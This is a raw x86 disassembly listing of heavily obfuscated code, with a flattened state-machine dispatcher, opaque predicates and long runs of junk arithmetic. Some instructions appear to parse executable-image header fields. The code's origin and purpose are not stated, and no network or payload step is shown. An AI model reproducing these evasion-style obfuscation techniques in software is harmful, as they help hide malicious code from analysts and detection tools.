rcr edi, 0x5e
neg esi
sbb eax, 0xb7
ror edx, 0xac
not esi
rcr esi, 0xe0
bswap eax
mov ebx, 0xc5
bswap edx
inc ebx
sub edi, 0x5b
rcr ebx, 0xb8
neg edi
rcr edx, 0xb5
sbb esi, 0x88
rcl eax, 0x47
inc edx
rcr esi, 0xbe
imul edi
imul edi
inc esi
dec eax
imul eax
or edx, 0x5b
rcr ebx, 0x8b
mov eax, 0x74
imul eax
dec eax
dec esi
rcl ebx, 0xe1
rol edi, 0x41
mov eax, 0x28
bswap edx
rol ebx, 0xe4
neg edx
and ebx, 0xc1
dec ebx
rol eax, 0x14
rcl esi, 0x15
neg eax
add edx, 0x76
rcl edx, 0xda
rcl ebx, 0x8c
bswap edi
bswap esi
rol eax, 0xf2
rcr eax, 0xbb
ror eax, 7
rcl eax, 0x2e
neg eax
neg esi
mov edx, 0xba
inc edx
sbb esi, 0x64
ror edx, 0xf8
dec esi
inc esi
imul ebx
not ebx
ror esi, 0xcb
add eax, 0xb5
neg edx
not ebx
neg edx
neg edi
imul edx
rol edx, 0xb
rcr edi, 0xa0
rol edx, 0xb7
neg edx
rcr edx, 0x54
rcr edi, 0x2d
rcr edx, 0xcd
bswap esi
mov edi, 0x88
or edx, 0x19
rol esi, 0xb3
inc esi
bswap ebx
bswap ebx
not eax
inc ebx
sbb edx, 0xa1
imul ebx
bswap esi
mov eax, 0x37
and edi, 0x95
bswap edx
or edx, 0xf1
sub edi, 0x19
dec edx
not esi
sbb ebx, 0xc4
dec eax
inc edx
not edi
bswap ebx
inc edi
and edi, 0xf5
sub ebx, 0xe1
inc esi
neg edi
dec esi
neg edi
mov edi, 0x10
dec edx
add eax, 0x9f
neg edi
mov esi, 0xe7
rcr edi, 0xbf
dec edx
mov ebx, 0xf
rcr esi, 0x55
rol eax, 0x94
mov esi, 0xe7
sbb edx, 0xaa
not esi
rcr edx, 0xef
add ebx, 0x50
neg edx
or eax, 0x3f
rcr esi, 0x4a
ror edi, 0xda
dec eax
neg eax
not edi
sbb edx, 0xa4
ror ebx, 0xe5
rcl ebx, 6
sbb ebx, 0x90
inc esi
bswap eax
rcr ebx, 0x5e
and esi, 0x23
add esi, 0xde
ror edi, 0xc5
imul eax
neg edx
bswap eax
neg eax
and edi, 0xc7
inc ebx
rcr edx, 0x1c
mov esi, 0xa7
bswap ebx
sub ebx, 0xd8
rol esi, 0x1f
dec edx
and edx, 0xaf
mov ecx, dword [ebp - 0x1c]
mov dword [ecx], eax
mov eax, dword [ebp - 0x30]
mov eax, dword [ebp - 0x14]
mov eax, dword [eax]
add eax, 0x18
mov dword [ebp - 0x144], eax
mov eax, dword [ebp - 0x14]
mov eax, dword [eax]
movzx eax, word [eax + 0x14]
mov dword [ebp - 0x148], eax
mov eax, 0xdb2b5486
jmp 0x402240
cmp eax, 0xdb2b5486
je 0x40be21
cmp eax, 0xdbad288d
jne 0x402240
mov eax, dword [ebp - 0x8c]
mov eax, dword [ebp - 0x20]
mov dword [eax], 0
mov eax, 0x19cc6676
jmp 0x402240
cmp eax, 0x1a8534ee
je 0x40be48
cmp eax, 0x1aa4a820
jne 0x402240
mov eax, dword [ebp - 0x50]
mov eax, 0x844fab23
jmp 0x402240
cmp eax, 0xc0ac34c1
je 0x40be60
cmp eax, 0xc21dee7e
jne 0x402240
mov eax, dword [ebp - 0x28]
mov eax, dword [eax]
mov edx, eax
not edx
mov ecx, eax
and ecx, 0x40000000
and eax, 0xf10635be
mov esi, edx
and esi, 0xbfffffff
and edx, 0xef9ca41
or ecx, esi
or eax, edx
mov edx, eax
mov esi, ecx
xor edx, 0xc1022436
xor eax, 0xc014001
not esi
and ecx, 0xc3faae76
mov edi, esi
and edi, 0x3c055189
and eax, 0x3c055189
and edx, 0xc3faae76
or edx, eax
or ecx, edi
mov eax, 0x2334a935
xor edx, ecx
not edx
or edx, esi
cmp edx, 0xffffffff
setne byte [ebp - 0x77]
jmp 0x402240
cmp eax, 0x738ab1bd
je 0x40be6d
cmp eax, 0x7427c524
jne 0x402240
mov eax, dword [ebp - 0xdc]
mov ecx, dword [ebp - 0x38]
vmovsd xmm0, qword [eax + 0x28]
vmovsd qword [ecx], xmm0
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp - 0x38]
mov eax, 0x22ec7b93
jmp 0x402240
cmp eax, 0xfd486c1f
je 0x40be80
cmp eax, 0xfdabd092
jne 0x402240
mov eax, 0x46d8d6aa
jmp 0x402240
cmp eax, 0x2e1527d4
je 0x40bf7b
cmp eax, 0x302b210f
jne 0x402240
mov ecx, dword [0x4a2b84]
mov edi, 0xff2db861
lea eax, [ecx + 1]
imul eax, ecx
mov ecx, eax
not ecx
mov esi, eax
and esi, 0x47c17b56
and eax, 0x81022161
mov edx, ecx
and edx, 0xb83e84a9
or ecx, 0x2c50021a
or esi, edx
and ecx, 0x3e51ce9e
mov edx, esi
xor esi, 0x28100008
xor edx, 0x40801000
or eax, ecx
or esi, 0x1201cc84
and edx, 0x40ac1000
and esi, 0x3e51ce9e
or edx, esi
xor eax, edx
mov ecx, eax
not ecx
and eax, 0x6cfc121a
and ecx, 0x9303ede5
or eax, ecx
mov edx, eax
mov ecx, eax
xor ecx, 0x29ffc036
not edx
and eax, 0x744c14d
mov esi, edx
and esi, 0xd6003fc8
and ecx, 0x29ffc037
or ecx, esi
mov esi, edx
and esi, 0xf8bb3eb2
and edx, 1
or esi, eax
mov eax, ecx
not eax
and ecx, 0xdd9f107f
xor esi, 0x744c14c
or edx, esi
mov esi, eax
and esi, 0x2260ef80
or ecx, esi
mov esi, edx
not esi
or eax, edx
and edx, 0x2260ef80
and esi, 0xdd9f107f
not eax
or esi, edx
xor esi, ecx
or eax, esi
mov esi, 0x634620af
mov ecx, eax
not ecx
and eax, 0x33a92c73
and ecx, 0xcc56d38c
or ecx, eax
xor ecx, 0x33a92c73
setne dl
sete al
cmp dword [0x4a2b80], 0xa
setl ah
setge cl
mov ch, ah
xor ch, al
or al, ah
mov ah, dl
xor ah, cl
or cl, dl
and al, ch
xor cl, 1
xor al, 1
or cl, ch
mov edx, eax
xor cl, 1
or cl, ah
xor al, cl
or dl, cl
mov ecx, eax
xor cl, dl
test al, 1
mov eax, 0xff2db861
cmovne eax, esi
test dl, 1
cmovne eax, edi
test cl, 1
cmove eax, esi
jmp 0x402240
cmp eax, 0x851f4497
je 0x40c0eb
cmp eax, 0x853f788b
jne 0x402240
mov eax, dword [ebp - 0x24]
mov eax, dword [eax]
mov dword [ebp - 0x184], eax
mov eax, dword [ebp - 0x14]
mov eax, dword [eax]
movzx eax, word [eax + 6]
mov word [ebp - 0xcc], ax
mov eax, 0x3b24e850
jmp 0x402240
cmp eax, 0x454b1de0
je 0x40c0f5
cmp eax, 0x45dac5cf
jne 0x402240
mov eax, 0xffaf0dc1
jmp 0x402240
cmp eax, 0xc7ad79a9
je 0x40c259
cmp eax, 0xc84313e9
jne 0x402240
mov eax, dword [ebp - 0x124]
mov eax, dword [eax + 0x24]
mov ecx, dword [ebp - 0x28]
mov dword [ecx], eax
mov eax, dword [ebp - 0x28]
mov eax, 0xcd20b09a
jmp 0x402240
cmp eax, 0x5e22b9c
je 0x40c26f
cmp eax, 0x88a7b11
jne 0x402240
mov ecx, dword [0x4a2b84]
lea eax, [ecx + 1]
imul eax, ecx
mov ecx, eax
not ecx
mov edx, eax
and edx, 0x25800284
mov esi, ecx
and esi, 0x102d0c68
or ecx, 0x110d08c8
or edx, esi
and ecx, 0xd11d98cb
mov esi, edx
xor esi, 0x24800204
xor edx, 0xd01d984b
and edx, 0xd11d98cb
and esi, 0x24a00624
or esi, edx
mov edx, eax
and edx, 0xa426110
or edx, ecx
xor edx, esi
mov esi, 0x87f2f6e8
mov ecx, edx
not ecx
and edx, 0x941cc851
and ecx, 0x6be337ae
or edx, ecx
mov ecx, edx
xor ecx, 0xa1b1c6bc
xor edx, 0x5e4e3943
and ecx, eax
andn eax, eax, edx
or ecx, eax
xor edx, ecx
test edx, ecx
setne al
cmp dword [0x4a2b80], 0xa
mov ah, al
setl dl
setge cl
or cl, al
xor al, dl
or ah, dl
not al
xor ah, 1
and al, dl
or al, ah
mov edx, eax
and al, cl
xor cl, 1
xor dl, 1
mov ch, cl
xor ch, dl
and dl, cl
and ch, cl
or dl, al
mov eax, 0x57b34000
mov cl, ch
xor cl, dl
test dl, dl
mov edx, 0x57b34000
cmovne eax, esi
test ch, ch
cmove eax, edx
test cl, cl
cmovne eax, esi
jmp 0x402240
cmp eax, 0xa39fc152
je 0x40c3b3
cmp eax, 0xa50007a0
jne 0x402240
mov eax, dword [ebp - 0x1c]
mov ecx, dword [0x4a2b84]
mov eax, dword [eax]
mov dword [ebp - 0x1a4], eax
lea eax, [ecx + 1]
imul eax, ecx
mov ecx, eax
not ecx
mov esi, eax
and esi, 0xbe0ae3fe
mov edx, ecx
and edx, 0x41f51c00
and ecx, 0xdf10f691
or esi, edx
mov edx, eax
and edx, 1
and eax, 0x20ef096e
xor esi, 0xbe0ae3fe
or eax, ecx
or edx, esi
xor eax, 0x20ef096e
mov esi, edx
not esi
and edx, 0x801460d8
and esi, 0x7feb9f27
or edx, esi
mov esi, 0xc4e833eb
xor edx, 0x801460d8
or eax, edx
mov ecx, eax
not ecx
and eax, 0xd1e644c
and ecx, 0xf2e19bb3
or eax, ecx
xor eax, 0xd1e644c
setne cl
sete ah
cmp dword [0x4a2b80], 0xa
mov ch, cl
mov dh, cl
setge al
setl dl
inc ch
and ch, al
or al, cl
xor ah, dl
and dh, dl
or dl, cl
xor al, 1
or ch, dh
or al, ah
and ah, cl
xor ch, 1
xor ah, 1
mov cl, ah
or ah, dl
xor cl, dl
xor ah, 1
mov edx, 0x669a844f
or ah, cl
mov cl, ch
or ch, al
xor cl, al
xor ch, 1
xor ah, 1
or ch, cl
mov al, ah
or al, ch
xor ah, ch
mov ecx, eax
xor cl, ah
test cl, 1
mov ecx, 0xc4e833eb
cmovne ecx, edx
test ah, 1
jmp 0x40d5c3
cmp eax, 0x62b722e6
je 0x40c562
cmp eax, 0x634620af
jne 0x402240
mov ecx, dword [ebp - 0x98]
mov eax, ecx
not eax
mov esi, ecx
and esi, 0x81b7537a
mov edx, eax
and edx, 0x5e48ac85
or esi, edx
mov edx, eax
or edx, 0x80f9092
and eax, 0x90cc7160
mov edi, esi
xor edi, 0x81b04368
xor esi, 0x28088080
and edx, 0x280f9092
and esi, 0x280f9092
and edi, 0xd7f06f6d
or edi, esi
xor edx, edi
mov esi, edx
not esi
and edx, 0x4da80575
and esi, 0xb257fa8a
or edx, esi
mov esi, edx
xor esi, 0x880160
xor edx, 0xb257fa8a
mov edi, edx
or edx, ecx
and ecx, 0x6f338e9f
and edi, 0x6f338e9f
and esi, 0x90cc7160
or esi, edi
or eax, ecx
not edx
xor eax, esi
or edx, eax
mov eax, dword [0x4a2b84]
cmp edx, 0xffffffff
setne byte [ebp - 0x76]
lea ecx, [eax + 1]
imul ecx, eax
mov esi, ecx
mov eax, ecx
xor eax, 0xfffffffe
not esi
mov edx, esi
and eax, ecx
and edx, 0xfffffffe
and esi, 0x16f04ad3
and ecx, 0xe90fb52c
or eax, edx
or ecx, esi
mov edx, eax
not edx
and eax, 0xabf1b07
and edx, 0xf540e4f8
or eax, edx
mov edx, eax
xor edx, 0xa341901
xor eax, 0xf540e4f8
mov esi, eax
and esi, 0x918b260e
and edx, 0x6e74d9f1
or edx, esi
mov esi, ecx
xor esi, 0x68049120
xor ecx, 0x16f04ad3
or eax, ecx
and ecx, 0x918b260e
and esi, 0x6e74d9f1
or esi, ecx
not eax
xor esi, edx
or eax, esi
mov esi, 0xff2db861
xor eax, 0xffffffff
setne cl
sete ah
cmp dword [0x4a2b80], 0xa
mov edx, ecx
setl ch
setge al
or cl, ch
and dl, al
and ch, ah
or ch, dl
xor cl, 1
mov dl, ch
xor dl, al
or al, ah
xor al, 1
and dl, ch
or al, cl
mov ecx, edx
mov ah, al
xor cl, 1
xor ah, 1
and al, cl
or cl, ah
and ah, dl
mov edx, 0xf0a2a273
or ah, al
mov al, cl
xor al, ah
test al, 1
cmovne edx, esi
test ah, ah
mov esi, 0xf0a2a273
mov eax, edx
cmovne eax, esi
test cl, cl
cmovne eax, edx
jmp 0x402240
cmp eax, 0xe9af17d7
je 0x40c629
cmp eax, 0xea82d903
jne 0x402240
rcl esi, 0x93
rcl edi, 0xce
bswap eax
inc ebx
or ebx, 0xe1
rcr edx, 0x8e
or edx, 0xa8
inc esi
neg edx
inc edi
ror edi, 0x7c
inc eax
rcl ebx, 0xaf
bswap edx
inc ebx
sub edx, 0xcb
dec ebx
bswap esi
ror edx, 0x30
neg edx
rcl edx, 0xfe
neg edx
or ebx, 0xe6
imul eax
bswap esi
rcr edx, 0x60
imul edx
rcl edx, 0xc1
ror edi, 0xe0
dec edi
dec esi
imul esi
rol ebx, 0xd3
and edx, 0x59
inc ebx
ror edx, 0xa5
rcr eax, 0x44
rol edx, 0x96
dec edx
dec edi
sub edi, 0x87
not ebx
ror edx, 0xbb
sub esi, 0xdd
inc eax
sub esi, 0xa9
rcl eax, 0xba
rcr ebx, 0x37
inc edi
not ebx
mov esi, 0x55
bswap esi
inc eax
not edi
neg ebx
dec esi
bswap edx
inc esi
rcl edx, 0x3d
rcl esi, 0x20
mov edi, 6
dec esi
dec eax
dec esi
neg esi
neg edi
dec esi
rcl edx, 0x66
add esi, 0xd4
imul esi
imul ebx
and edi, 0x24
sbb ebx, 0xbd
dec eax
not edi
mov esi, 0x42
neg edi
bswap edi
rol esi, 0x84
ror ebx, 0xd1
dec eax
add eax, 0x61
bswap edi
bswap esi
sbb esi, 0x95
neg edx
neg eax
dec edi
bswap esi
inc esi
imul edx
bswap edx
inc edx
add eax, 0xb1
not ebx
add edx, 0x7e
sbb edi, 0x2b
sub eax, 0xcc
inc ebx
dec esi
add ebx, 0x47
rcl esi, 0xc9
imul ebx
and eax, 0x92
sub edi, 0x93
and edx, 0x4a
and edi, 8
not edx
or ebx, 0xfd
sbb edi, 0x37
imul edx
bswap edi
neg edi
not edx
rcr edx, 0xfe
bswap ebx
rcl edx, 0xae
and esi, 0xf0
or edx, 0xb5
imul edi
mov ebx, 0xfe
sbb edi, 0x3f
bswap eax
sub ebx, 0xe4
imul eax
add eax, 0x54
rcr esi, 0xbc
and eax, 0x88
bswap edx
dec eax
add edx, 0x76
ror edx, 0xf7
mov eax, 0x27
inc edi
bswap esi
inc ebx
and edi, 0x30
bswap edx
inc eax
rol edx, 0x27
add edi, 0xc8
bswap ebx
bswap eax
bswap eax
neg edx
mov edx, 0xca
imul eax
bswap edx
sub esi, 0x8c
bswap edx
bswap edi
and edx, 0x81
sbb ebx, 0x3b
sbb ebx, 0x35
neg eax
not ebx
add esi, 0x2a
not edi
and edx, 0xfa
or esi, 0x87
imul ebx
or ebx, 0xe
dec ebx
imul edx
sbb edx, 0x72
and esi, 0xc6
dec esi
sub ebx, 0xb3
not edi
dec ebx
and edi, 0x29
rcl edx, 0xaf
sub esi, 0xce
inc ebx
inc edi
bswap edx
rol edx, 0x5e
imul ebx
mov ebx, 0x44
imul edi
inc eax
imul edx
add esi, 6
sub esi, 0x99
mov esi, 0xe3
bswap eax
mov eax, 0x6a
not esi
and edi, 0xf6
rcl esi, 0xb3
neg esi
sub edi, 0x8a
sub edi, 0x5c
add edx, 0x39
imul eax
rcl eax, 0xb2
mov ebx, 0x56
bswap esi
bswap edx
inc edx
neg esi
rol edi, 0x4f
not edi
dec eax
sub esi, 0x53
inc edx
inc edx
rcr esi, 0x9f
dec esi
dec edi
neg edi
not eax
ror eax, 0x70
bswap ebx
inc edx
mov esi, 0xe4
mov edi, 0x22
neg eax
bswap esi
imul eax
inc eax
inc ebx
rol ebx, 0xd1
ror ebx, 0x17
neg eax
ror edx, 0x1f
or edi, 0xfd
and ebx, 0x51
ror ebx, 0x36
sub esi, 0xa3
rcl edi, 0x1e
or eax, 0xfe
sub esi, 0x47
sbb edx, 0x2b
sub esi, 0xa8
add eax, 0xb4
imul edx
bswap eax
imul edx
inc edx
ror ebx, 0xb5
and eax, 0x49
imul edx
sbb esi, 0x69
rcl edi, 0x1a
mov ebx, 0x95
sbb ebx, 0x1f
neg esi
inc esi
sub ebx, 0xd6
rcl edi, 0xc0
mov eax, 0xc8
bswap edx
rol eax, 0x2d
rol eax, 0xf3
sub edx, 0x36
add ebx, 0x97
neg edx
neg eax
and esi, 0x79
imul edx
imul eax
inc esi
bswap esi
not eax
rol edx, 0xaa
imul edi
sub edx, 0xac
neg eax
sub edi, 0x67
inc edx
rol ebx, 0x60
inc edx
mov eax, 0x90
or eax, 0x2a
sub eax, 0x27
or edx, 0x13
rcr edi, 0x4e
or edx, 0x55
ror eax, 0xbc
sub esi, 0xea
inc edx
mov esi, 0xd8
neg edi
imul edx
neg edx
or esi, 0x7e
imul ebx
dec eax
neg eax
inc edi
inc eax
neg edi
rol eax, 0x7a
sub edx, 0xa7
or ebx, 0xcc
dec edi
bswap eax
dec eax
rcl edi, 0xf9
rcr eax, 0x19
rol edx, 0xf0
sbb edi, 0xbb
rcl edx, 0xac
ror esi, 0xf
sbb eax, 0x64
sub edi, 0x5a
mov eax, 0x2d
ror esi, 0xec
sub edi, 0xb4
neg esi
inc edx
add ebx, 0xef
imul esi
rcl ebx, 0x94
rcr ebx, 0xc4
bswap eax
inc esi
rcl esi, 0x4a
add esi, 0x4d
neg esi
add eax, 0x86
mov eax, 0xd6
mov edx, 0x83
neg ebx
dec esi
not edx
inc ebx
inc eax
add eax, 0x85
neg edi
bswap edx
rol edi, 0x36
bswap edx
sbb edx, 0x53
rcr esi, 0x71
dec edi
ror edi, 6
sbb esi, 1
imul esi
ror edi, 0x2d
dec edi
dec esi
dec esi
imul edx
rcr edi, 0xf0
neg edx
inc edi
inc edx
bswap edi
rcl edi, 0xa3
bswap esi
rcr ebx, 0xe7
dec edi
inc esi
ror ebx, 0x4c
and eax, 0x12
rcl esi, 0x78
not eax
and edx, 0xd2
bswap edx
not edi
sbb ebx, 0xea
bswap eax
and ebx, 0xdc
inc edi
mov ebx, 0x50
mov edx, 0xc0
dec edi
and eax, 2
bswap edi
bswap eax
or esi, 0x95
or edi, 0xfc
not edi
not esi
not esi
imul edi
bswap edx
imul ebx
rol edi, 0x4b
bswap esi
bswap eax
not ebx
neg edi
sbb eax, 0x84
rol edx, 0xb5
sbb edx, 0xd
mov edx, 0x87
and ebx, 0x4d
rcl ebx, 0x9a
inc edx
ror edx, 0x31
not esi
mov edx, 0xee
dec ebx
inc ebx
rcr edx, 0xa9
and edi, 0x4a
bswap edx
mov ecx, dword [ebp - 0x1c]
mov dword [ecx], eax
mov eax, dword [ebp - 0x9c]
mov eax, 0xdd96a06e
jmp 0x402240
cmp eax, 0x22b8faa2
je 0x40c6b3
cmp eax, 0x22ec7b93
jne 0x402240
mov eax, dword [ebp - 0xdc]
mov ecx, dword [ebp - 0x38]
vmovsd xmm0, qword [eax + 0x28]
vmovsd qword [ecx], xmm0
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x14]
mov eax, dword [eax]
mov eax, dword [eax + 0x50]
mov dword [ebp - 0x12c], eax
mov eax, dword [ebp - 0x38]
cmp dword [eax + 4], 0
mov eax, dword [0x4a2b84]
lea ecx, [eax + 1]
setne byte [ebp - 0x6f]
imul ecx, eax
mov eax, ecx
mov edx, ecx
not eax
or edx, 0x937ab1e
mov edi, eax
mov esi, edx
and esi, 0x9f31c258
and edi, 0x60c814a1
and eax, 0x5fd4a379
or edi, esi
mov esi, ecx
xor esi, 0xf6c854e1
and esi, ecx
and ecx, 0xa02b5c86
mov ebx, esi
not ebx
and esi, 0x60ce3da7
or eax, ecx
or edx, ebx
and ebx, 0x9f31c258
or esi, ebx
not edx
xor esi, edi
or edx, esi
mov esi, edx
not esi
and edx, 0xf6c854e0
and esi, 0x937ab1f
or edx, esi
mov esi, edx
not esi
and edx, 0x5fd4a379
mov edi, esi
and edi, 0xa02b5c86
or edx, edi
xor eax, edx
xor esi, eax
test esi, eax
mov esi, 0x7427c524
setne dl
sete ah
cmp dword [0x4a2b80], 0xa
setl ch
setge al
mov cl, ch
and dl, ch
and al, ah
or ch, ah
xor cl, ah
or al, dl
and cl, ch
xor ch, 1
or al, ch
mov ah, cl
mov edx, eax
xor ah, 1
and cl, al
not dl
and dl, ah
or ah, al
or cl, dl
mov al, ah
mov edx, 0x24148cea
xor al, cl
test al, 1
cmovne edx, esi
test ah, ah
mov eax, 0x24148cea
jmp 0x40da10
cmp eax, 0x920dfb79
je 0x40c7e2
cmp eax, 0x92412a24
jne 0x402240
mov eax, 0x8fe67411
jmp 0x402240
cmp eax, 0x5616e5a2
je 0x40c8f2
cmp eax, 0x56339281
jne 0x402240
mov eax, 0x90b7472a
jmp 0x402240
cmp eax, 0xd5a21c29
je 0x40c9df
cmp eax, 0xd6adc660
jne 0x402240
mov eax, dword [ebp - 0x110]
mov eax, dword [ebp - 0x10c]
mov eax, 0xaea9901e
jmp 0x402240
cmp eax, 0x1874ee92
je 0x40cada
cmp eax, 0x189bf5a2
jne 0x402240
mov eax, dword [ebp - 0xa4]
mov eax, dword [0x4a2b84]
lea esi, [eax + 1]
imul esi, eax
mov edx, esi
mov ecx, esi
xor ecx, 0x5c8201ea
mov eax, esi
not edx
or eax, 0xa37dfe15
and ecx, esi
mov esi, eax
and esi, 0xa0e82636
and edx, 0x5c0201c8
or edx, esi
mov esi, ecx
not esi
and ecx, 0x5f17d9c9
or eax, esi
and esi, 0xa0e82636
or ecx, esi
not eax
mov esi, 0x2a520b
xor ecx, edx
or eax, ecx
mov ecx, eax
not ecx
and eax, 0xb7082ee6
and ecx, 0x48f7d119
or eax, ecx
mov ecx, eax
xor eax, 0x1441c091
xor ecx, 0xeb8a2f0c
mov edx, ecx
and eax, 0x56cbe495
and ecx, 0xa9341b6a
and edx, 0xfffffffe
or ecx, eax
xor ecx, 0xa9341b6b
or ecx, edx
mov eax, ecx
not eax
and ecx, 0x9b44974a
and eax, 0x64bb68b5
or eax, ecx
mov ecx, eax
xor ecx, 0x91049608
xor eax, 0x64bb68b5
mov edx, eax
and edx, 0x4aea6967
and ecx, 0xb5159698
or ecx, edx
xor ecx, 0x4aea6967
xor eax, ecx
test eax, ecx
setne cl
sete ah
cmp dword [0x4a2b80], 0xa
setl al
setge dl
and cl, al
xor al, ah
mov ch, dl
and al, ah
or ch, ah
xor al, 1
mov dh, al
or al, ch
xor dh, ch
mov ch, dl
xor al, 1
xor ch, ah
or al, dh
and ch, dl
and dl, ah
or dl, cl
or dl, ch
mov ecx, edx
mov ah, dl
not cl
and cl, dl
xor cl, 1
xor ah, cl
or cl, dl
xor cl, 1
or cl, ah
mov ah, cl
mov ch, cl
xor ah, 1
mov dl, ah
and dl, cl
xor dl, 1
xor ch, dl
or dl, cl
or cl, al
xor al, 1
xor dl, 1
xor cl, 1
or dl, ch
xor dl, al
xor al, ah
or cl, al
mov eax, ecx
xor al, dl
test al, 1
mov eax, 0xca53eaef
cmovne esi, eax
test cl, 1
mov eax, 0x2a520b
jmp 0x40b53c
cmp eax, 0xb8e7868c
je 0x40cc8d
cmp eax, 0xbb1ab72b
jne 0x402240
rcl eax, 0x75
bswap ebx
not edx
bswap edi
rcl edx, 0xcb
add edx, 0x75
and edi, 0xe1
bswap ebx
sub ebx, 0xd9
bswap eax
sub esi, 0x1f
inc edi
add ebx, 0xe6
neg eax
inc edi
not eax
dec eax
and ebx, 0x62
ror edx, 0x89
or ebx, 0xc2
rcl esi, 0x1b
rcl edi, 0x13
not eax
or edx, 0xd9
ror ebx, 1
not eax
dec ebx
sbb esi, 0x32
and ebx, 0x77
and esi, 0xba
and edi, 0x12
dec esi
add esi, 0xeb
ror ebx, 0xb6
ror esi, 0x1a
not edx
rcl edx, 0x7e
mov edi, 0x66
sub edi, 0x7b
imul esi
sub edx, 0x8a
sub edi, 0x2f
inc edi
inc edi
sub eax, 0x88
imul ebx
imul esi
inc eax
neg eax
inc ebx
imul ebx
imul edx
mov edi, 0x8a
neg edi
ror eax, 0x42
and edi, 0xef
dec ebx
inc edx
rcl eax, 0x77
and eax, 0x78
rcr edi, 0x92
and eax, 0xfd
bswap ebx
inc esi
imul eax
rcl eax, 0x45
dec esi
sbb esi, 0xf
sbb ebx, 0x8e
mov edx, 0x7c
inc edi
inc edx
dec ebx
and edx, 0x7e
dec edi
ror edi, 0xf5
inc edx
inc edx
sub eax, 0xdf
sbb edx, 0x9d
or edx, 0x7f
neg edi
bswap edx
not ebx
imul ebx
sbb edi, 0xc6
imul ebx
sbb edx, 0x3c
ror edi, 0xe6
dec edi
inc ebx
imul esi
imul edi
bswap esi
sbb esi, 0x4b
or edi, 6
inc edx
dec esi
bswap edi
not edi
not edi
dec edx
ror eax, 0x2d
not ebx
imul eax
rcr edx, 0xea
rcl ebx, 0xd3
not edi
rcl ebx, 0xe
or ebx, 0xef
rcl eax, 0x66
dec ebx
rcr ebx, 0x7e
not esi
mov eax, 0xb4
dec edi
neg edi
rcr eax, 0x50
neg edx
not ebx
imul esi
dec edx
rol eax, 0x25
rcr edi, 0x92
bswap ebx
bswap eax
dec eax
ror ebx, 0x56
inc edi
dec ebx
mov edi, 0x80
not ebx
imul esi
neg eax
inc ebx
or eax, 0x79
rcr eax, 0xf
ror ebx, 0x97
sbb ebx, 0xdf
neg edi
bswap esi
add eax, 0x5a
and ebx, 0x5e
rcr ebx, 0x87
sub eax, 0x35
and edx, 0x64
bswap edx
sub edx, 0xd7
and esi, 0xe7
ror eax, 0x6d
mov dword [ebp - 0x120], eax
mov eax, 0xb464c0a6
jmp 0x402240
cmp eax, 0x7111a47a
je 0x40cca2
cmp eax, 0x723110a3
jne 0x402240
mov eax, dword [ebp - 0x1c]
mov ecx, dword [ebp - 0x120]
mov dword [eax], ecx
mov eax, dword [ebp - 0xc0]
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x24]
mov dword [eax], 0
mov eax, 0xc2de820
jmp 0x402240
cmp eax, 0xfb166bb5
je 0x40cdc8
cmp eax, 0xfb282aa8
jne 0x402240
mov eax, dword [ebp - 0x20]
mov dword [eax], 0xc
mov eax, 0xfd0933d9
jmp 0x402240
cmp eax, 0x3d8f2b01
je 0x40ce78
cmp eax, 0x3ddb4027
jne 0x402240
mov ecx, dword [0x4a2b84]
lea eax, [ecx + 1]
imul eax, ecx
mov esi, eax
xor esi, 0xc1829eb
mov ecx, eax
and ecx, 0x41828a3
and esi, eax
not eax
and eax, 0x8000148
or ecx, eax
xor ecx, 0x41828a3
or esi, ecx
mov eax, esi
not eax
and esi, 0x9711af2f
and eax, 0x68ee50d0
or esi, eax
mov edx, esi
xor edx, 0x9b0986c4
mov eax, esi
xor esi, 0x292d2eb5
xor eax, 0x64f6793b
mov ecx, edx
or ecx, 0x4ddb578e
mov edi, eax
and esi, edx
and edi, 0x9204a830
and edx, 0xf2827127
mov ebx, ecx
and ebx, 0x28f11547
or edi, ebx
mov ebx, esi
not ebx
and esi, 0xd70eeab8
or ecx, ebx
and ebx, 0x28f11547
or esi, ebx
not ecx
xor esi, edi
or ecx, esi
mov esi, ecx
not esi
and ecx, 0x4465a641
and esi, 0xbb9a59be
or ecx, esi
mov esi, eax
and esi, 0xd7d8ed8
and eax, 1
or esi, edx
xor ecx, 0xf6410e31
mov edx, esi
xor edx, 0xe2822006
xor esi, 0x5250800
or eax, edx
and esi, 0x15255920
and eax, 0xeadaa6df
or eax, esi
mov esi, 0xf740d745
xor eax, 0xeadaa6df
or eax, ecx
mov ecx, eax
not ecx
and eax, 0xb371d949
and ecx, 0x4c8e26b6
or eax, ecx
xor eax, 0xb371d949
setne ah
sete al
cmp dword [0x4a2b80], 0xa
mov dh, ah
setl ch
setge dl
mov cl, ch
and dh, dl
or ah, ch
and cl, al
xor al, ch
or cl, dh
and al, ch
xor cl, 1
xor al, 1
or cl, dl
mov ch, al
or al, ah
mov edx, ecx
xor ch, ah
xor al, 1
xor dl, 1
or al, ch
mov dh, dl
mov ah, al
mov ch, al
or al, dl
and dh, cl
xor ah, 1
xor al, 1
xor dh, 1
and ch, ah
or dh, cl
xor ch, 1
xor dh, 1
mov bl, ch
or ch, ah
or dh, dl
xor bl, ah
xor ch, 1
xor ah, cl
mov bh, dh
or ch, bl
or al, ah
xor bh, 1
mov cl, al
and bh, ch
xor ch, 1
and ch, dh
mov edx, 0xb585a7fe
or ch, bh
xor cl, ch
test cl, 1
cmovne edx, esi
test al, 1
mov eax, 0xb585a7fe
cmovne eax, edx
jmp 0x40b869
cmp eax, 0x8ef7a230
je 0x40d00f
cmp eax, 0x8f0fdddf
jne 0x402240
mov eax, dword [ebp - 0x100]
mov eax, dword [ebp - 0x104]
mov eax, 0x8ef7a230
jmp 0x402240
cmp eax, 0x4e875093
je 0x40d11b
cmp eax, 0x4f0ae975
jne 0x402240
mov eax, 0x90512409
jmp 0x402240
cmp eax, 0xcd20b09a
je 0x40d2de
cmp eax, 0xce73effe
jne 0x402240
mov ecx, dword [0x4a2b84]
mov esi, 0xd05e69d5
mov edi, 0x5380715f
lea eax, [ecx + 1]
imul eax, ecx
mov ecx, eax
not ecx
mov edx, eax
and edx, 0x71f56b2
and ecx, 0xf8e0a94c
or edx, ecx
mov ecx, eax
and ecx, 1
xor edx, 0x71f56b2
or ecx, edx
mov edx, ecx
not edx
and ecx, eax
andn eax, eax, edx
or ecx, eax
xor edx, ecx
test edx, ecx
setne dl
sete ah
cmp dword [0x4a2b80], 0xa
setge al
setl cl
and dl, cl
and al, ah
or al, dl
mov dl, ah
xor dl, cl
or cl, ah
xor al, 1
xor cl, 1
or cl, dl
mov edx, ecx
mov ah, cl
